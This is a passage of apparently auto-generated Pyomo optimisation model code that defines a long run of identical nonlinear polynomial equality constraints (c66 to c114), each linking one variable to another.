m.c66 = Constraint(expr=-(0.0775*m.x1957*(1 - 0.000727272727272727*m.x1957) + 0.003003125*m.x1957*(1 -
0.000727272727272727*m.x1957)*(1 - 0.00145454545454545*m.x1957) + 6.0669191919192e-8*(1189.2375*
m.x1957*(1 - 0.000727272727272727*m.x1957)*(1 - 0.00145454545454545*m.x1957) - 1.86*(0.93*
m.x1957*(1 - 0.000727272727272727*m.x1957))**2 - 1.49610402*m.x1957*m.x1957*(1 -
0.000727272727272727*m.x1957)*(1 - 0.00145454545454545*m.x1957)*(1 - 0.00145454545454545*m.x1957
))) + m.x65 == 0)
m.c67 = Constraint(expr=-(0.0775*m.x1958*(1 - 0.000727272727272727*m.x1958) + 0.003003125*m.x1958*(1 -
0.000727272727272727*m.x1958)*(1 - 0.00145454545454545*m.x1958) + 6.0669191919192e-8*(1189.2375*
m.x1958*(1 - 0.000727272727272727*m.x1958)*(1 - 0.00145454545454545*m.x1958) - 1.86*(0.93*
m.x1958*(1 - 0.000727272727272727*m.x1958))**2 - 1.49610402*m.x1958*m.x1958*(1 -
0.000727272727272727*m.x1958)*(1 - 0.00145454545454545*m.x1958)*(1 - 0.00145454545454545*m.x1958
))) + m.x66 == 0)
m.c68 = Constraint(expr=-(0.0775*m.x1959*(1 - 0.000727272727272727*m.x1959) + 0.003003125*m.x1959*(1 -
0.000727272727272727*m.x1959)*(1 - 0.00145454545454545*m.x1959) + 6.0669191919192e-8*(1189.2375*
m.x1959*(1 - 0.000727272727272727*m.x1959)*(1 - 0.00145454545454545*m.x1959) - 1.86*(0.93*
m.x1959*(1 - 0.000727272727272727*m.x1959))**2 - 1.49610402*m.x1959*m.x1959*(1 -
0.000727272727272727*m.x1959)*(1 - 0.00145454545454545*m.x1959)*(1 - 0.00145454545454545*m.x1959
))) + m.x67 == 0)
m.c69 = Constraint(expr=-(0.0775*m.x1960*(1 - 0.000727272727272727*m.x1960) + 0.003003125*m.x1960*(1 -
0.000727272727272727*m.x1960)*(1 - 0.00145454545454545*m.x1960) + 6.0669191919192e-8*(1189.2375*
m.x1960*(1 - 0.000727272727272727*m.x1960)*(1 - 0.00145454545454545*m.x1960) - 1.86*(0.93*
m.x1960*(1 - 0.000727272727272727*m.x1960))**2 - 1.49610402*m.x1960*m.x1960*(1 -
0.000727272727272727*m.x1960)*(1 - 0.00145454545454545*m.x1960)*(1 - 0.00145454545454545*m.x1960
))) + m.x68 == 0)
m.c70 = Constraint(expr=-(0.0775*m.x1961*(1 - 0.000727272727272727*m.x1961) + 0.003003125*m.x1961*(1 -
0.000727272727272727*m.x1961)*(1 - 0.00145454545454545*m.x1961) + 6.0669191919192e-8*(1189.2375*
m.x1961*(1 - 0.000727272727272727*m.x1961)*(1 - 0.00145454545454545*m.x1961) - 1.86*(0.93*
m.x1961*(1 - 0.000727272727272727*m.x1961))**2 - 1.49610402*m.x1961*m.x1961*(1 -
0.000727272727272727*m.x1961)*(1 - 0.00145454545454545*m.x1961)*(1 - 0.00145454545454545*m.x1961
))) + m.x69 == 0)
m.c71 = Constraint(expr=-(0.0775*m.x1962*(1 - 0.000727272727272727*m.x1962) + 0.003003125*m.x1962*(1 -
0.000727272727272727*m.x1962)*(1 - 0.00145454545454545*m.x1962) + 6.0669191919192e-8*(1189.2375*
m.x1962*(1 - 0.000727272727272727*m.x1962)*(1 - 0.00145454545454545*m.x1962) - 1.86*(0.93*
m.x1962*(1 - 0.000727272727272727*m.x1962))**2 - 1.49610402*m.x1962*m.x1962*(1 -
0.000727272727272727*m.x1962)*(1 - 0.00145454545454545*m.x1962)*(1 - 0.00145454545454545*m.x1962
))) + m.x70 == 0)
m.c72 = Constraint(expr=-(0.0775*m.x1963*(1 - 0.000727272727272727*m.x1963) + 0.003003125*m.x1963*(1 -
0.000727272727272727*m.x1963)*(1 - 0.00145454545454545*m.x1963) + 6.0669191919192e-8*(1189.2375*
m.x1963*(1 - 0.000727272727272727*m.x1963)*(1 - 0.00145454545454545*m.x1963) - 1.86*(0.93*
m.x1963*(1 - 0.000727272727272727*m.x1963))**2 - 1.49610402*m.x1963*m.x1963*(1 -
0.000727272727272727*m.x1963)*(1 - 0.00145454545454545*m.x1963)*(1 - 0.00145454545454545*m.x1963
))) + m.x71 == 0)
m.c73 = Constraint(expr=-(0.0775*m.x1964*(1 - 0.000727272727272727*m.x1964) + 0.003003125*m.x1964*(1 -
0.000727272727272727*m.x1964)*(1 - 0.00145454545454545*m.x1964) + 6.0669191919192e-8*(1189.2375*
m.x1964*(1 - 0.000727272727272727*m.x1964)*(1 - 0.00145454545454545*m.x1964) - 1.86*(0.93*
m.x1964*(1 - 0.000727272727272727*m.x1964))**2 - 1.49610402*m.x1964*m.x1964*(1 -
0.000727272727272727*m.x1964)*(1 - 0.00145454545454545*m.x1964)*(1 - 0.00145454545454545*m.x1964
))) + m.x72 == 0)
m.c74 = Constraint(expr=-(0.0775*m.x1965*(1 - 0.000727272727272727*m.x1965) + 0.003003125*m.x1965*(1 -
0.000727272727272727*m.x1965)*(1 - 0.00145454545454545*m.x1965) + 6.0669191919192e-8*(1189.2375*
m.x1965*(1 - 0.000727272727272727*m.x1965)*(1 - 0.00145454545454545*m.x1965) - 1.86*(0.93*
m.x1965*(1 - 0.000727272727272727*m.x1965))**2 - 1.49610402*m.x1965*m.x1965*(1 -
0.000727272727272727*m.x1965)*(1 - 0.00145454545454545*m.x1965)*(1 - 0.00145454545454545*m.x1965
))) + m.x73 == 0)
m.c75 = Constraint(expr=-(0.0775*m.x1966*(1 - 0.000727272727272727*m.x1966) + 0.003003125*m.x1966*(1 -
0.000727272727272727*m.x1966)*(1 - 0.00145454545454545*m.x1966) + 6.0669191919192e-8*(1189.2375*
m.x1966*(1 - 0.000727272727272727*m.x1966)*(1 - 0.00145454545454545*m.x1966) - 1.86*(0.93*
m.x1966*(1 - 0.000727272727272727*m.x1966))**2 - 1.49610402*m.x1966*m.x1966*(1 -
0.000727272727272727*m.x1966)*(1 - 0.00145454545454545*m.x1966)*(1 - 0.00145454545454545*m.x1966
))) + m.x74 == 0)
m.c76 = Constraint(expr=-(0.0775*m.x1967*(1 - 0.000727272727272727*m.x1967) + 0.003003125*m.x1967*(1 -
0.000727272727272727*m.x1967)*(1 - 0.00145454545454545*m.x1967) + 6.0669191919192e-8*(1189.2375*
m.x1967*(1 - 0.000727272727272727*m.x1967)*(1 - 0.00145454545454545*m.x1967) - 1.86*(0.93*
m.x1967*(1 - 0.000727272727272727*m.x1967))**2 - 1.49610402*m.x1967*m.x1967*(1 -
0.000727272727272727*m.x1967)*(1 - 0.00145454545454545*m.x1967)*(1 - 0.00145454545454545*m.x1967
))) + m.x75 == 0)
m.c77 = Constraint(expr=-(0.0775*m.x1968*(1 - 0.000727272727272727*m.x1968) + 0.003003125*m.x1968*(1 -
0.000727272727272727*m.x1968)*(1 - 0.00145454545454545*m.x1968) + 6.0669191919192e-8*(1189.2375*
m.x1968*(1 - 0.000727272727272727*m.x1968)*(1 - 0.00145454545454545*m.x1968) - 1.86*(0.93*
m.x1968*(1 - 0.000727272727272727*m.x1968))**2 - 1.49610402*m.x1968*m.x1968*(1 -
0.000727272727272727*m.x1968)*(1 - 0.00145454545454545*m.x1968)*(1 - 0.00145454545454545*m.x1968
))) + m.x76 == 0)
m.c78 = Constraint(expr=-(0.0775*m.x1969*(1 - 0.000727272727272727*m.x1969) + 0.003003125*m.x1969*(1 -
0.000727272727272727*m.x1969)*(1 - 0.00145454545454545*m.x1969) + 6.0669191919192e-8*(1189.2375*
m.x1969*(1 - 0.000727272727272727*m.x1969)*(1 - 0.00145454545454545*m.x1969) - 1.86*(0.93*
m.x1969*(1 - 0.000727272727272727*m.x1969))**2 - 1.49610402*m.x1969*m.x1969*(1 -
0.000727272727272727*m.x1969)*(1 - 0.00145454545454545*m.x1969)*(1 - 0.00145454545454545*m.x1969
))) + m.x77 == 0)
m.c79 = Constraint(expr=-(0.0775*m.x1970*(1 - 0.000727272727272727*m.x1970) + 0.003003125*m.x1970*(1 -
0.000727272727272727*m.x1970)*(1 - 0.00145454545454545*m.x1970) + 6.0669191919192e-8*(1189.2375*
m.x1970*(1 - 0.000727272727272727*m.x1970)*(1 - 0.00145454545454545*m.x1970) - 1.86*(0.93*
m.x1970*(1 - 0.000727272727272727*m.x1970))**2 - 1.49610402*m.x1970*m.x1970*(1 -
0.000727272727272727*m.x1970)*(1 - 0.00145454545454545*m.x1970)*(1 - 0.00145454545454545*m.x1970
))) + m.x78 == 0)
m.c80 = Constraint(expr=-(0.0775*m.x1971*(1 - 0.000727272727272727*m.x1971) + 0.003003125*m.x1971*(1 -
0.000727272727272727*m.x1971)*(1 - 0.00145454545454545*m.x1971) + 6.0669191919192e-8*(1189.2375*
m.x1971*(1 - 0.000727272727272727*m.x1971)*(1 - 0.00145454545454545*m.x1971) - 1.86*(0.93*
m.x1971*(1 - 0.000727272727272727*m.x1971))**2 - 1.49610402*m.x1971*m.x1971*(1 -
0.000727272727272727*m.x1971)*(1 - 0.00145454545454545*m.x1971)*(1 - 0.00145454545454545*m.x1971
))) + m.x79 == 0)
m.c81 = Constraint(expr=-(0.0775*m.x1972*(1 - 0.000727272727272727*m.x1972) + 0.003003125*m.x1972*(1 -
0.000727272727272727*m.x1972)*(1 - 0.00145454545454545*m.x1972) + 6.0669191919192e-8*(1189.2375*
m.x1972*(1 - 0.000727272727272727*m.x1972)*(1 - 0.00145454545454545*m.x1972) - 1.86*(0.93*
m.x1972*(1 - 0.000727272727272727*m.x1972))**2 - 1.49610402*m.x1972*m.x1972*(1 -
0.000727272727272727*m.x1972)*(1 - 0.00145454545454545*m.x1972)*(1 - 0.00145454545454545*m.x1972
))) + m.x80 == 0)
m.c82 = Constraint(expr=-(0.0775*m.x1973*(1 - 0.000727272727272727*m.x1973) + 0.003003125*m.x1973*(1 -
0.000727272727272727*m.x1973)*(1 - 0.00145454545454545*m.x1973) + 6.0669191919192e-8*(1189.2375*
m.x1973*(1 - 0.000727272727272727*m.x1973)*(1 - 0.00145454545454545*m.x1973) - 1.86*(0.93*
m.x1973*(1 - 0.000727272727272727*m.x1973))**2 - 1.49610402*m.x1973*m.x1973*(1 -
0.000727272727272727*m.x1973)*(1 - 0.00145454545454545*m.x1973)*(1 - 0.00145454545454545*m.x1973
))) + m.x81 == 0)
m.c83 = Constraint(expr=-(0.0775*m.x1974*(1 - 0.000727272727272727*m.x1974) + 0.003003125*m.x1974*(1 -
0.000727272727272727*m.x1974)*(1 - 0.00145454545454545*m.x1974) + 6.0669191919192e-8*(1189.2375*
m.x1974*(1 - 0.000727272727272727*m.x1974)*(1 - 0.00145454545454545*m.x1974) - 1.86*(0.93*
m.x1974*(1 - 0.000727272727272727*m.x1974))**2 - 1.49610402*m.x1974*m.x1974*(1 -
0.000727272727272727*m.x1974)*(1 - 0.00145454545454545*m.x1974)*(1 - 0.00145454545454545*m.x1974
))) + m.x82 == 0)
m.c84 = Constraint(expr=-(0.0775*m.x1975*(1 - 0.000727272727272727*m.x1975) + 0.003003125*m.x1975*(1 -
0.000727272727272727*m.x1975)*(1 - 0.00145454545454545*m.x1975) + 6.0669191919192e-8*(1189.2375*
m.x1975*(1 - 0.000727272727272727*m.x1975)*(1 - 0.00145454545454545*m.x1975) - 1.86*(0.93*
m.x1975*(1 - 0.000727272727272727*m.x1975))**2 - 1.49610402*m.x1975*m.x1975*(1 -
0.000727272727272727*m.x1975)*(1 - 0.00145454545454545*m.x1975)*(1 - 0.00145454545454545*m.x1975
))) + m.x83 == 0)
m.c85 = Constraint(expr=-(0.0775*m.x1976*(1 - 0.000727272727272727*m.x1976) + 0.003003125*m.x1976*(1 -
0.000727272727272727*m.x1976)*(1 - 0.00145454545454545*m.x1976) + 6.0669191919192e-8*(1189.2375*
m.x1976*(1 - 0.000727272727272727*m.x1976)*(1 - 0.00145454545454545*m.x1976) - 1.86*(0.93*
m.x1976*(1 - 0.000727272727272727*m.x1976))**2 - 1.49610402*m.x1976*m.x1976*(1 -
0.000727272727272727*m.x1976)*(1 - 0.00145454545454545*m.x1976)*(1 - 0.00145454545454545*m.x1976
))) + m.x84 == 0)
m.c86 = Constraint(expr=-(0.0775*m.x1977*(1 - 0.000727272727272727*m.x1977) + 0.003003125*m.x1977*(1 -
0.000727272727272727*m.x1977)*(1 - 0.00145454545454545*m.x1977) + 6.0669191919192e-8*(1189.2375*
m.x1977*(1 - 0.000727272727272727*m.x1977)*(1 - 0.00145454545454545*m.x1977) - 1.86*(0.93*
m.x1977*(1 - 0.000727272727272727*m.x1977))**2 - 1.49610402*m.x1977*m.x1977*(1 -
0.000727272727272727*m.x1977)*(1 - 0.00145454545454545*m.x1977)*(1 - 0.00145454545454545*m.x1977
))) + m.x85 == 0)
m.c87 = Constraint(expr=-(0.0775*m.x1978*(1 - 0.000727272727272727*m.x1978) + 0.003003125*m.x1978*(1 -
0.000727272727272727*m.x1978)*(1 - 0.00145454545454545*m.x1978) + 6.0669191919192e-8*(1189.2375*
m.x1978*(1 - 0.000727272727272727*m.x1978)*(1 - 0.00145454545454545*m.x1978) - 1.86*(0.93*
m.x1978*(1 - 0.000727272727272727*m.x1978))**2 - 1.49610402*m.x1978*m.x1978*(1 -
0.000727272727272727*m.x1978)*(1 - 0.00145454545454545*m.x1978)*(1 - 0.00145454545454545*m.x1978
))) + m.x86 == 0)
m.c88 = Constraint(expr=-(0.0775*m.x1979*(1 - 0.000727272727272727*m.x1979) + 0.003003125*m.x1979*(1 -
0.000727272727272727*m.x1979)*(1 - 0.00145454545454545*m.x1979) + 6.0669191919192e-8*(1189.2375*
m.x1979*(1 - 0.000727272727272727*m.x1979)*(1 - 0.00145454545454545*m.x1979) - 1.86*(0.93*
m.x1979*(1 - 0.000727272727272727*m.x1979))**2 - 1.49610402*m.x1979*m.x1979*(1 -
0.000727272727272727*m.x1979)*(1 - 0.00145454545454545*m.x1979)*(1 - 0.00145454545454545*m.x1979
))) + m.x87 == 0)
m.c89 = Constraint(expr=-(0.0775*m.x1980*(1 - 0.000727272727272727*m.x1980) + 0.003003125*m.x1980*(1 -
0.000727272727272727*m.x1980)*(1 - 0.00145454545454545*m.x1980) + 6.0669191919192e-8*(1189.2375*
m.x1980*(1 - 0.000727272727272727*m.x1980)*(1 - 0.00145454545454545*m.x1980) - 1.86*(0.93*
m.x1980*(1 - 0.000727272727272727*m.x1980))**2 - 1.49610402*m.x1980*m.x1980*(1 -
0.000727272727272727*m.x1980)*(1 - 0.00145454545454545*m.x1980)*(1 - 0.00145454545454545*m.x1980
))) + m.x88 == 0)
m.c90 = Constraint(expr=-(0.0775*m.x1981*(1 - 0.000727272727272727*m.x1981) + 0.003003125*m.x1981*(1 -
0.000727272727272727*m.x1981)*(1 - 0.00145454545454545*m.x1981) + 6.0669191919192e-8*(1189.2375*
m.x1981*(1 - 0.000727272727272727*m.x1981)*(1 - 0.00145454545454545*m.x1981) - 1.86*(0.93*
m.x1981*(1 - 0.000727272727272727*m.x1981))**2 - 1.49610402*m.x1981*m.x1981*(1 -
0.000727272727272727*m.x1981)*(1 - 0.00145454545454545*m.x1981)*(1 - 0.00145454545454545*m.x1981
))) + m.x89 == 0)
m.c91 = Constraint(expr=-(0.0775*m.x1982*(1 - 0.000727272727272727*m.x1982) + 0.003003125*m.x1982*(1 -
0.000727272727272727*m.x1982)*(1 - 0.00145454545454545*m.x1982) + 6.0669191919192e-8*(1189.2375*
m.x1982*(1 - 0.000727272727272727*m.x1982)*(1 - 0.00145454545454545*m.x1982) - 1.86*(0.93*
m.x1982*(1 - 0.000727272727272727*m.x1982))**2 - 1.49610402*m.x1982*m.x1982*(1 -
0.000727272727272727*m.x1982)*(1 - 0.00145454545454545*m.x1982)*(1 - 0.00145454545454545*m.x1982
))) + m.x90 == 0)
m.c92 = Constraint(expr=-(0.0775*m.x1983*(1 - 0.000727272727272727*m.x1983) + 0.003003125*m.x1983*(1 -
0.000727272727272727*m.x1983)*(1 - 0.00145454545454545*m.x1983) + 6.0669191919192e-8*(1189.2375*
m.x1983*(1 - 0.000727272727272727*m.x1983)*(1 - 0.00145454545454545*m.x1983) - 1.86*(0.93*
m.x1983*(1 - 0.000727272727272727*m.x1983))**2 - 1.49610402*m.x1983*m.x1983*(1 -
0.000727272727272727*m.x1983)*(1 - 0.00145454545454545*m.x1983)*(1 - 0.00145454545454545*m.x1983
))) + m.x91 == 0)
m.c93 = Constraint(expr=-(0.0775*m.x1984*(1 - 0.000727272727272727*m.x1984) + 0.003003125*m.x1984*(1 -
0.000727272727272727*m.x1984)*(1 - 0.00145454545454545*m.x1984) + 6.0669191919192e-8*(1189.2375*
m.x1984*(1 - 0.000727272727272727*m.x1984)*(1 - 0.00145454545454545*m.x1984) - 1.86*(0.93*
m.x1984*(1 - 0.000727272727272727*m.x1984))**2 - 1.49610402*m.x1984*m.x1984*(1 -
0.000727272727272727*m.x1984)*(1 - 0.00145454545454545*m.x1984)*(1 - 0.00145454545454545*m.x1984
))) + m.x92 == 0)
m.c94 = Constraint(expr=-(0.0775*m.x1985*(1 - 0.000727272727272727*m.x1985) + 0.003003125*m.x1985*(1 -
0.000727272727272727*m.x1985)*(1 - 0.00145454545454545*m.x1985) + 6.0669191919192e-8*(1189.2375*
m.x1985*(1 - 0.000727272727272727*m.x1985)*(1 - 0.00145454545454545*m.x1985) - 1.86*(0.93*
m.x1985*(1 - 0.000727272727272727*m.x1985))**2 - 1.49610402*m.x1985*m.x1985*(1 -
0.000727272727272727*m.x1985)*(1 - 0.00145454545454545*m.x1985)*(1 - 0.00145454545454545*m.x1985
))) + m.x93 == 0)
m.c95 = Constraint(expr=-(0.0775*m.x1986*(1 - 0.000727272727272727*m.x1986) + 0.003003125*m.x1986*(1 -
0.000727272727272727*m.x1986)*(1 - 0.00145454545454545*m.x1986) + 6.0669191919192e-8*(1189.2375*
m.x1986*(1 - 0.000727272727272727*m.x1986)*(1 - 0.00145454545454545*m.x1986) - 1.86*(0.93*
m.x1986*(1 - 0.000727272727272727*m.x1986))**2 - 1.49610402*m.x1986*m.x1986*(1 -
0.000727272727272727*m.x1986)*(1 - 0.00145454545454545*m.x1986)*(1 - 0.00145454545454545*m.x1986
))) + m.x94 == 0)
m.c96 = Constraint(expr=-(0.0775*m.x1987*(1 - 0.000727272727272727*m.x1987) + 0.003003125*m.x1987*(1 -
0.000727272727272727*m.x1987)*(1 - 0.00145454545454545*m.x1987) + 6.0669191919192e-8*(1189.2375*
m.x1987*(1 - 0.000727272727272727*m.x1987)*(1 - 0.00145454545454545*m.x1987) - 1.86*(0.93*
m.x1987*(1 - 0.000727272727272727*m.x1987))**2 - 1.49610402*m.x1987*m.x1987*(1 -
0.000727272727272727*m.x1987)*(1 - 0.00145454545454545*m.x1987)*(1 - 0.00145454545454545*m.x1987
))) + m.x95 == 0)
m.c97 = Constraint(expr=-(0.0775*m.x1988*(1 - 0.000727272727272727*m.x1988) + 0.003003125*m.x1988*(1 -
0.000727272727272727*m.x1988)*(1 - 0.00145454545454545*m.x1988) + 6.0669191919192e-8*(1189.2375*
m.x1988*(1 - 0.000727272727272727*m.x1988)*(1 - 0.00145454545454545*m.x1988) - 1.86*(0.93*
m.x1988*(1 - 0.000727272727272727*m.x1988))**2 - 1.49610402*m.x1988*m.x1988*(1 -
0.000727272727272727*m.x1988)*(1 - 0.00145454545454545*m.x1988)*(1 - 0.00145454545454545*m.x1988
))) + m.x96 == 0)
m.c98 = Constraint(expr=-(0.0775*m.x1989*(1 - 0.000727272727272727*m.x1989) + 0.003003125*m.x1989*(1 -
0.000727272727272727*m.x1989)*(1 - 0.00145454545454545*m.x1989) + 6.0669191919192e-8*(1189.2375*
m.x1989*(1 - 0.000727272727272727*m.x1989)*(1 - 0.00145454545454545*m.x1989) - 1.86*(0.93*
m.x1989*(1 - 0.000727272727272727*m.x1989))**2 - 1.49610402*m.x1989*m.x1989*(1 -
0.000727272727272727*m.x1989)*(1 - 0.00145454545454545*m.x1989)*(1 - 0.00145454545454545*m.x1989
))) + m.x97 == 0)
m.c99 = Constraint(expr=-(0.0775*m.x1990*(1 - 0.000727272727272727*m.x1990) + 0.003003125*m.x1990*(1 -
0.000727272727272727*m.x1990)*(1 - 0.00145454545454545*m.x1990) + 6.0669191919192e-8*(1189.2375*
m.x1990*(1 - 0.000727272727272727*m.x1990)*(1 - 0.00145454545454545*m.x1990) - 1.86*(0.93*
m.x1990*(1 - 0.000727272727272727*m.x1990))**2 - 1.49610402*m.x1990*m.x1990*(1 -
0.000727272727272727*m.x1990)*(1 - 0.00145454545454545*m.x1990)*(1 - 0.00145454545454545*m.x1990
))) + m.x98 == 0)
m.c100 = Constraint(expr=-(0.0775*m.x1991*(1 - 0.000727272727272727*m.x1991) + 0.003003125*m.x1991*(1 -
0.000727272727272727*m.x1991)*(1 - 0.00145454545454545*m.x1991) + 6.0669191919192e-8*(1189.2375
*m.x1991*(1 - 0.000727272727272727*m.x1991)*(1 - 0.00145454545454545*m.x1991) - 1.86*(0.93*
m.x1991*(1 - 0.000727272727272727*m.x1991))**2 - 1.49610402*m.x1991*m.x1991*(1 -
0.000727272727272727*m.x1991)*(1 - 0.00145454545454545*m.x1991)*(1 - 0.00145454545454545*
m.x1991))) + m.x99 == 0)
m.c101 = Constraint(expr=-(0.0775*m.x1992*(1 - 0.000727272727272727*m.x1992) + 0.003003125*m.x1992*(1 -
0.000727272727272727*m.x1992)*(1 - 0.00145454545454545*m.x1992) + 6.0669191919192e-8*(1189.2375
*m.x1992*(1 - 0.000727272727272727*m.x1992)*(1 - 0.00145454545454545*m.x1992) - 1.86*(0.93*
m.x1992*(1 - 0.000727272727272727*m.x1992))**2 - 1.49610402*m.x1992*m.x1992*(1 -
0.000727272727272727*m.x1992)*(1 - 0.00145454545454545*m.x1992)*(1 - 0.00145454545454545*
m.x1992))) + m.x100 == 0)
m.c102 = Constraint(expr=-(0.0775*m.x1993*(1 - 0.000727272727272727*m.x1993) + 0.003003125*m.x1993*(1 -
0.000727272727272727*m.x1993)*(1 - 0.00145454545454545*m.x1993) + 6.0669191919192e-8*(1189.2375
*m.x1993*(1 - 0.000727272727272727*m.x1993)*(1 - 0.00145454545454545*m.x1993) - 1.86*(0.93*
m.x1993*(1 - 0.000727272727272727*m.x1993))**2 - 1.49610402*m.x1993*m.x1993*(1 -
0.000727272727272727*m.x1993)*(1 - 0.00145454545454545*m.x1993)*(1 - 0.00145454545454545*
m.x1993))) + m.x101 == 0)
m.c103 = Constraint(expr=-(0.0775*m.x1994*(1 - 0.000727272727272727*m.x1994) + 0.003003125*m.x1994*(1 -
0.000727272727272727*m.x1994)*(1 - 0.00145454545454545*m.x1994) + 6.0669191919192e-8*(1189.2375
*m.x1994*(1 - 0.000727272727272727*m.x1994)*(1 - 0.00145454545454545*m.x1994) - 1.86*(0.93*
m.x1994*(1 - 0.000727272727272727*m.x1994))**2 - 1.49610402*m.x1994*m.x1994*(1 -
0.000727272727272727*m.x1994)*(1 - 0.00145454545454545*m.x1994)*(1 - 0.00145454545454545*
m.x1994))) + m.x102 == 0)
m.c104 = Constraint(expr=-(0.0775*m.x1995*(1 - 0.000727272727272727*m.x1995) + 0.003003125*m.x1995*(1 -
0.000727272727272727*m.x1995)*(1 - 0.00145454545454545*m.x1995) + 6.0669191919192e-8*(1189.2375
*m.x1995*(1 - 0.000727272727272727*m.x1995)*(1 - 0.00145454545454545*m.x1995) - 1.86*(0.93*
m.x1995*(1 - 0.000727272727272727*m.x1995))**2 - 1.49610402*m.x1995*m.x1995*(1 -
0.000727272727272727*m.x1995)*(1 - 0.00145454545454545*m.x1995)*(1 - 0.00145454545454545*
m.x1995))) + m.x103 == 0)
m.c105 = Constraint(expr=-(0.0775*m.x1996*(1 - 0.000727272727272727*m.x1996) + 0.003003125*m.x1996*(1 -
0.000727272727272727*m.x1996)*(1 - 0.00145454545454545*m.x1996) + 6.0669191919192e-8*(1189.2375
*m.x1996*(1 - 0.000727272727272727*m.x1996)*(1 - 0.00145454545454545*m.x1996) - 1.86*(0.93*
m.x1996*(1 - 0.000727272727272727*m.x1996))**2 - 1.49610402*m.x1996*m.x1996*(1 -
0.000727272727272727*m.x1996)*(1 - 0.00145454545454545*m.x1996)*(1 - 0.00145454545454545*
m.x1996))) + m.x104 == 0)
m.c106 = Constraint(expr=-(0.0775*m.x1997*(1 - 0.000727272727272727*m.x1997) + 0.003003125*m.x1997*(1 -
0.000727272727272727*m.x1997)*(1 - 0.00145454545454545*m.x1997) + 6.0669191919192e-8*(1189.2375
*m.x1997*(1 - 0.000727272727272727*m.x1997)*(1 - 0.00145454545454545*m.x1997) - 1.86*(0.93*
m.x1997*(1 - 0.000727272727272727*m.x1997))**2 - 1.49610402*m.x1997*m.x1997*(1 -
0.000727272727272727*m.x1997)*(1 - 0.00145454545454545*m.x1997)*(1 - 0.00145454545454545*
m.x1997))) + m.x105 == 0)
m.c107 = Constraint(expr=-(0.0775*m.x1998*(1 - 0.000727272727272727*m.x1998) + 0.003003125*m.x1998*(1 -
0.000727272727272727*m.x1998)*(1 - 0.00145454545454545*m.x1998) + 6.0669191919192e-8*(1189.2375
*m.x1998*(1 - 0.000727272727272727*m.x1998)*(1 - 0.00145454545454545*m.x1998) - 1.86*(0.93*
m.x1998*(1 - 0.000727272727272727*m.x1998))**2 - 1.49610402*m.x1998*m.x1998*(1 -
0.000727272727272727*m.x1998)*(1 - 0.00145454545454545*m.x1998)*(1 - 0.00145454545454545*
m.x1998))) + m.x106 == 0)
m.c108 = Constraint(expr=-(0.0775*m.x1999*(1 - 0.000727272727272727*m.x1999) + 0.003003125*m.x1999*(1 -
0.000727272727272727*m.x1999)*(1 - 0.00145454545454545*m.x1999) + 6.0669191919192e-8*(1189.2375
*m.x1999*(1 - 0.000727272727272727*m.x1999)*(1 - 0.00145454545454545*m.x1999) - 1.86*(0.93*
m.x1999*(1 - 0.000727272727272727*m.x1999))**2 - 1.49610402*m.x1999*m.x1999*(1 -
0.000727272727272727*m.x1999)*(1 - 0.00145454545454545*m.x1999)*(1 - 0.00145454545454545*
m.x1999))) + m.x107 == 0)
m.c109 = Constraint(expr=-(0.0775*m.x2000*(1 - 0.000727272727272727*m.x2000) + 0.003003125*m.x2000*(1 -
0.000727272727272727*m.x2000)*(1 - 0.00145454545454545*m.x2000) + 6.0669191919192e-8*(1189.2375
*m.x2000*(1 - 0.000727272727272727*m.x2000)*(1 - 0.00145454545454545*m.x2000) - 1.86*(0.93*
m.x2000*(1 - 0.000727272727272727*m.x2000))**2 - 1.49610402*m.x2000*m.x2000*(1 -
0.000727272727272727*m.x2000)*(1 - 0.00145454545454545*m.x2000)*(1 - 0.00145454545454545*
m.x2000))) + m.x108 == 0)
m.c110 = Constraint(expr=-(0.0775*m.x2001*(1 - 0.000727272727272727*m.x2001) + 0.003003125*m.x2001*(1 -
0.000727272727272727*m.x2001)*(1 - 0.00145454545454545*m.x2001) + 6.0669191919192e-8*(1189.2375
*m.x2001*(1 - 0.000727272727272727*m.x2001)*(1 - 0.00145454545454545*m.x2001) - 1.86*(0.93*
m.x2001*(1 - 0.000727272727272727*m.x2001))**2 - 1.49610402*m.x2001*m.x2001*(1 -
0.000727272727272727*m.x2001)*(1 - 0.00145454545454545*m.x2001)*(1 - 0.00145454545454545*
m.x2001))) + m.x109 == 0)
m.c111 = Constraint(expr=-(0.0775*m.x2002*(1 - 0.000727272727272727*m.x2002) + 0.003003125*m.x2002*(1 -
0.000727272727272727*m.x2002)*(1 - 0.00145454545454545*m.x2002) + 6.0669191919192e-8*(1189.2375
*m.x2002*(1 - 0.000727272727272727*m.x2002)*(1 - 0.00145454545454545*m.x2002) - 1.86*(0.93*
m.x2002*(1 - 0.000727272727272727*m.x2002))**2 - 1.49610402*m.x2002*m.x2002*(1 -
0.000727272727272727*m.x2002)*(1 - 0.00145454545454545*m.x2002)*(1 - 0.00145454545454545*
m.x2002))) + m.x110 == 0)
m.c112 = Constraint(expr=-(0.0775*m.x2003*(1 - 0.000727272727272727*m.x2003) + 0.003003125*m.x2003*(1 -
0.000727272727272727*m.x2003)*(1 - 0.00145454545454545*m.x2003) + 6.0669191919192e-8*(1189.2375
*m.x2003*(1 - 0.000727272727272727*m.x2003)*(1 - 0.00145454545454545*m.x2003) - 1.86*(0.93*
m.x2003*(1 - 0.000727272727272727*m.x2003))**2 - 1.49610402*m.x2003*m.x2003*(1 -
0.000727272727272727*m.x2003)*(1 - 0.00145454545454545*m.x2003)*(1 - 0.00145454545454545*
m.x2003))) + m.x111 == 0)
m.c113 = Constraint(expr=-(0.0775*m.x2004*(1 - 0.000727272727272727*m.x2004) + 0.003003125*m.x2004*(1 -
0.000727272727272727*m.x2004)*(1 - 0.00145454545454545*m.x2004) + 6.0669191919192e-8*(1189.2375
*m.x2004*(1 - 0.000727272727272727*m.x2004)*(1 - 0.00145454545454545*m.x2004) - 1.86*(0.93*
m.x2004*(1 - 0.000727272727272727*m.x2004))**2 - 1.49610402*m.x2004*m.x2004*(1 -
0.000727272727272727*m.x2004)*(1 - 0.00145454545454545*m.x2004)*(1 - 0.00145454545454545*
m.x2004))) + m.x112 == 0)
m.c114 = Constraint(expr=-(0.0775*m.x2005*(1 - 0.000727272727272727*m.x2005) + 0.003003125*m.x2005*(1 -
0.000727272727272727*m.x2005)*(1 - 0.00145454545454545*m.x2005) + 6.0669191919192e-8*(1189.2375
*m.x2005*(1 - 0.000727272727272727*m.x2005)*(1 - 0.00145454545454545*m.x2005) - 1.86*(0.93*
m.x2005*(1 - 0.000727272727272727*m.x2005))**2 - 1.49610402*m.x2005*m.x2005*(1 -
0.000727272727272727*m.x2005)*(1 - 0.00145454545454545*m.x2005)*(1 - 0.00145454545454545*
m.x2005))) + m.x113 == 0)
